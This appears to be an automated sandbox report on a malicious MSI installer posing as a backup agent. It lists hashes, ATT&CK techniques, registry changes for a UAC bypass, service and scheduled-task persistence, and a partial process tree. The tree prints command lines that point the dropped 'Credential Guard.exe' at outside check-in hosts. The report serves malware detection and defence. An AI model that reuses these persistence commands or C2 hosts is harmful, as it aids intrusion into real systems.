65c3de6042c6fdca367f4c89102a767a7fd634e6897b5974704d2311d8dc9fb8

Resubmissions

10/09/2026, 01:48

260910-b77gqaee8210

10/09/2026, 01:20

260910-bqbnqacl6t10

Analysis

max time kernel
149s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 01:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AgtaBackupAgent.msi
Size 32.5MB
Sample260910-bqbnqacl6t
SHA256 65c3de6042c6fdca367f4c89102a767a7fd634e6897b5974704d2311d8dc9fb8
MD5 96eb382c6b09956926304ed5fc277eaf
SHA1 17992f3cccf79c320be2a2dc51f2bafcf309d427
SHA512 6eea3d00a47e44497b1170c981a256e872162bd767e930c204922fc919e84ac86c1d56ac7a461c442233eb800791d5e4421b24938fc2d423cae96e1ad237a03b
SSDEEP 786432:Y+Ju1OnG9YmoHLx3PbcJRhF+KQpU9f7OiLOj0h:fMwG9YmoF5KQ6hOiLn
TLSH
T1337733B4D9F0FD14F1EEA1F2C9562647942E8C00B72E4423D83E79916D7A29063FE52B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Credential Guard.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AgtaBackupAgentSvc\ImagePath = "\"C:\\Program Files\\Agta Backup\\Credential Guard.exe\" --service --name AgtaBackupAgentSvc --data-dir \"C:\\ProgramData\\Agta Backup\" --checkin-url https://backupplanetwealthagta.top"	Credential Guard.exe

Executes dropped EXE 11 IoCs

pid	Process
1344	Credential Guard.exe
5720	Credential Guard.exe
3388	Credential Guard.exe
2812	Credential Guard.exe
5536	Credential Guard.exe
1504	Window Security Health Services.exe
1488	Credential Guard.exe
4040	Credential Guard.exe
4920	Credential Guard.exe
936	Credential Guard.exe
2204	Credential Guard.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1820	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Agta Backup	Credential Guard.exe
File opened for modification	C:\Program Files\Agta Backup	Credential Guard.exe
File opened for modification	C:\Program Files\Agta Backup	Credential Guard.exe
File created	C:\Program Files\Agta Backup\Credential Guard.exe	msiexec.exe
File created	C:\Program Files\Agta Backup\Dell Window Guard.exe	msiexec.exe
File created	C:\Program Files\Agta Backup\Dell.Virus.Guard.exe	msiexec.exe
File created	C:\Program Files\Agta Backup\Dell.sub.Agent.exe	msiexec.exe
File created	C:\Program Files\Agta Backup\Window Security Health Services.exe	msiexec.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{78072162-427C-4106-AFCE-154E0E14DEE3}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIECB8.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_tnopfjnu.1mi.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_mp0ms255.34z.psm1	powershell.exe
File created	C:\Windows\Installer\e59e45d.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF145FAF806F893906.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5D1E348A6D858087.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF236CA819C7BC7E6C.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4EB0692C3F486958.TMP	msiexec.exe
File created	C:\Windows\Installer\e59e45b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59e45b.msi	msiexec.exe
File created	C:\Windows\SystemTemp\agta_task_93cd90a562d2447daaef577012acbb92.xml	Credential Guard.exe
File created	C:\Windows\SystemTemp\agta_task_100034e69c314fc4a0b57db490a70606.xml	Credential Guard.exe
File created	C:\Windows\SystemTemp\agta_av_795bfd18.ps1	Credential Guard.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_crvz0tsp.u0i.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xduzugqt.f4a.psm1	powershell.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Launches sc.exe 21 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5276	sc.exe
5444	sc.exe
1976	sc.exe
5596	sc.exe
1600	sc.exe
4244	sc.exe
2784	sc.exe
5436	sc.exe
4236	sc.exe
5248	sc.exe
4852	sc.exe
1816	sc.exe
4796	sc.exe
1228	sc.exe
1424	sc.exe
2984	sc.exe
5848	sc.exe
5572	sc.exe
2584	sc.exe
952	sc.exe
5016	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3924	powershell.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
824	msiexec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000f2192634d2a4d980000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010f2192630000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010f219263000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30f21926300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60f21926300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Credential Guard.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Credential Guard.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Credential Guard.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\26127087C7246014FAEC51E4E041ED3E\Main	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\ProductName = "Agta Backup Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\26127087C7246014FAEC51E4E041ED3E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\Version = "17236032"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList\PackageName = "AgtaBackupAgent.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C6A2B4E7D3F1E9C4B912BAD0E5F8C124	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C6A2B4E7D3F1E9C4B912BAD0E5F8C124\26127087C7246014FAEC51E4E041ED3E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\PackageCode = "156D4180B4B2D344E9EC059885127F0A"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\26127087C7246014FAEC51E4E041ED3E\Clients = 3a0000000000	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1352	schtasks.exe
2428	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
628	msiexec.exe
628	msiexec.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe
5720	Credential Guard.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	824	msiexec.exe
Token: SeIncreaseQuotaPrivilege	824	msiexec.exe
Token: SeSecurityPrivilege	628	msiexec.exe
Token: SeCreateTokenPrivilege	824	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	824	msiexec.exe
Token: SeLockMemoryPrivilege	824	msiexec.exe
Token: SeIncreaseQuotaPrivilege	824	msiexec.exe
Token: SeMachineAccountPrivilege	824	msiexec.exe
Token: SeTcbPrivilege	824	msiexec.exe
Token: SeSecurityPrivilege	824	msiexec.exe
Token: SeTakeOwnershipPrivilege	824	msiexec.exe
Token: SeLoadDriverPrivilege	824	msiexec.exe
Token: SeSystemProfilePrivilege	824	msiexec.exe
Token: SeSystemtimePrivilege	824	msiexec.exe
Token: SeProfSingleProcessPrivilege	824	msiexec.exe
Token: SeIncBasePriorityPrivilege	824	msiexec.exe
Token: SeCreatePagefilePrivilege	824	msiexec.exe
Token: SeCreatePermanentPrivilege	824	msiexec.exe
Token: SeBackupPrivilege	824	msiexec.exe
Token: SeRestorePrivilege	824	msiexec.exe
Token: SeShutdownPrivilege	824	msiexec.exe
Token: SeDebugPrivilege	824	msiexec.exe
Token: SeAuditPrivilege	824	msiexec.exe
Token: SeSystemEnvironmentPrivilege	824	msiexec.exe
Token: SeChangeNotifyPrivilege	824	msiexec.exe
Token: SeRemoteShutdownPrivilege	824	msiexec.exe
Token: SeUndockPrivilege	824	msiexec.exe
Token: SeSyncAgentPrivilege	824	msiexec.exe
Token: SeEnableDelegationPrivilege	824	msiexec.exe
Token: SeManageVolumePrivilege	824	msiexec.exe
Token: SeImpersonatePrivilege	824	msiexec.exe
Token: SeCreateGlobalPrivilege	824	msiexec.exe
Token: SeBackupPrivilege	3596	vssvc.exe
Token: SeRestorePrivilege	3596	vssvc.exe
Token: SeAuditPrivilege	3596	vssvc.exe
Token: SeBackupPrivilege	628	msiexec.exe
Token: SeRestorePrivilege	628	msiexec.exe
Token: SeRestorePrivilege	628	msiexec.exe
Token: SeTakeOwnershipPrivilege	628	msiexec.exe
Token: SeRestorePrivilege	628	msiexec.exe
Token: SeTakeOwnershipPrivilege	628	msiexec.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeSecurityPrivilege	5248	sc.exe
Token: SeSecurityPrivilege	5248	sc.exe
Token: SeSecurityPrivilege	5444	sc.exe
Token: SeSecurityPrivilege	5444	sc.exe
Token: SeSecurityPrivilege	4852	sc.exe
Token: SeSecurityPrivilege	4852	sc.exe
Token: SeAssignPrimaryTokenPrivilege	3924	powershell.exe
Token: SeIncreaseQuotaPrivilege	3924	powershell.exe
Token: SeSecurityPrivilege	3924	powershell.exe
Token: SeTakeOwnershipPrivilege	3924	powershell.exe
Token: SeLoadDriverPrivilege	3924	powershell.exe
Token: SeSystemtimePrivilege	3924	powershell.exe
Token: SeBackupPrivilege	3924	powershell.exe
Token: SeRestorePrivilege	3924	powershell.exe
Token: SeShutdownPrivilege	3924	powershell.exe
Token: SeSystemEnvironmentPrivilege	3924	powershell.exe
Token: SeUndockPrivilege	3924	powershell.exe
Token: SeManageVolumePrivilege	3924	powershell.exe
Token: SeRestorePrivilege	628	msiexec.exe
Token: SeTakeOwnershipPrivilege	628	msiexec.exe
Token: SeRestorePrivilege	628	msiexec.exe
Token: SeTakeOwnershipPrivilege	628	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
824	msiexec.exe
824	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
824	msiexec.exe
628	msiexec.exe
1504	Window Security Health Services.exe
1504	Window Security Health Services.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 6052	628	msiexec.exe	93
PID 628 wrote to memory of 1344	628	msiexec.exe	95
PID 1344 wrote to memory of 952	1344	Credential Guard.exe	96
PID 1344 wrote to memory of 5276	1344	Credential Guard.exe	98
PID 1344 wrote to memory of 5016	1344	Credential Guard.exe	100
PID 5720 wrote to memory of 3388	5720	Credential Guard.exe	103
PID 5720 wrote to memory of 2812	5720	Credential Guard.exe	104
PID 5720 wrote to memory of 3924	5720	Credential Guard.exe	105
PID 1344 wrote to memory of 4236	1344	Credential Guard.exe	107
PID 1344 wrote to memory of 5248	1344	Credential Guard.exe	109
PID 1344 wrote to memory of 5444	1344	Credential Guard.exe	111
PID 1344 wrote to memory of 4852	1344	Credential Guard.exe	113
PID 1344 wrote to memory of 1352	1344	Credential Guard.exe	115
PID 1344 wrote to memory of 2428	1344	Credential Guard.exe	117
PID 1344 wrote to memory of 5848	1344	Credential Guard.exe	119
PID 5720 wrote to memory of 1820	5720	Credential Guard.exe	123
PID 5720 wrote to memory of 1504	5720	Credential Guard.exe	125
PID 5720 wrote to memory of 3660	5720	Credential Guard.exe	126
PID 5720 wrote to memory of 5440	5720	Credential Guard.exe	128
PID 5720 wrote to memory of 1816	5720	Credential Guard.exe	130
PID 5720 wrote to memory of 1488	5720	Credential Guard.exe	133
PID 5720 wrote to memory of 1068	5720	Credential Guard.exe	134
PID 5720 wrote to memory of 4344	5720	Credential Guard.exe	136
PID 5720 wrote to memory of 1976	5720	Credential Guard.exe	138
PID 4040 wrote to memory of 4280	4040	Credential Guard.exe	141
PID 4920 wrote to memory of 2428	4920	Credential Guard.exe	144
PID 4920 wrote to memory of 3420	4920	Credential Guard.exe	146
PID 4920 wrote to memory of 5572	4920	Credential Guard.exe	148
PID 4920 wrote to memory of 5596	4920	Credential Guard.exe	150
PID 4920 wrote to memory of 1600	4920	Credential Guard.exe	152
PID 4920 wrote to memory of 4244	4920	Credential Guard.exe	154
PID 4920 wrote to memory of 2784	4920	Credential Guard.exe	156
PID 4920 wrote to memory of 4796	4920	Credential Guard.exe	158
PID 4920 wrote to memory of 5436	4920	Credential Guard.exe	160
PID 936 wrote to memory of 1444	936	Credential Guard.exe	163
PID 2204 wrote to memory of 5564	2204	Credential Guard.exe	166
PID 2204 wrote to memory of 6112	2204	Credential Guard.exe	168
PID 2204 wrote to memory of 2584	2204	Credential Guard.exe	170
PID 2204 wrote to memory of 1228	2204	Credential Guard.exe	172
PID 2204 wrote to memory of 1424	2204	Credential Guard.exe	174
PID 2204 wrote to memory of 2984	2204	Credential Guard.exe	176

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Credential Guard.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\AgtaBackupAgent.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:824

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:6052
- C:\Program Files\Agta Backup\Credential Guard.exe
  "C:\Program Files\Agta Backup\Credential Guard.exe" --install-service --prod --checkin-url "http://144.172.106.146:4080"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:1344
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
    3⤵
    - Launches sc.exe
    PID:952
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" failure AgtaBackupAgentSvc reset= 86400 actions= restart/5000/restart/5000/restart/5000
    3⤵
    - Launches sc.exe
    PID:5276
- - C:\Windows\system32\sc.exe
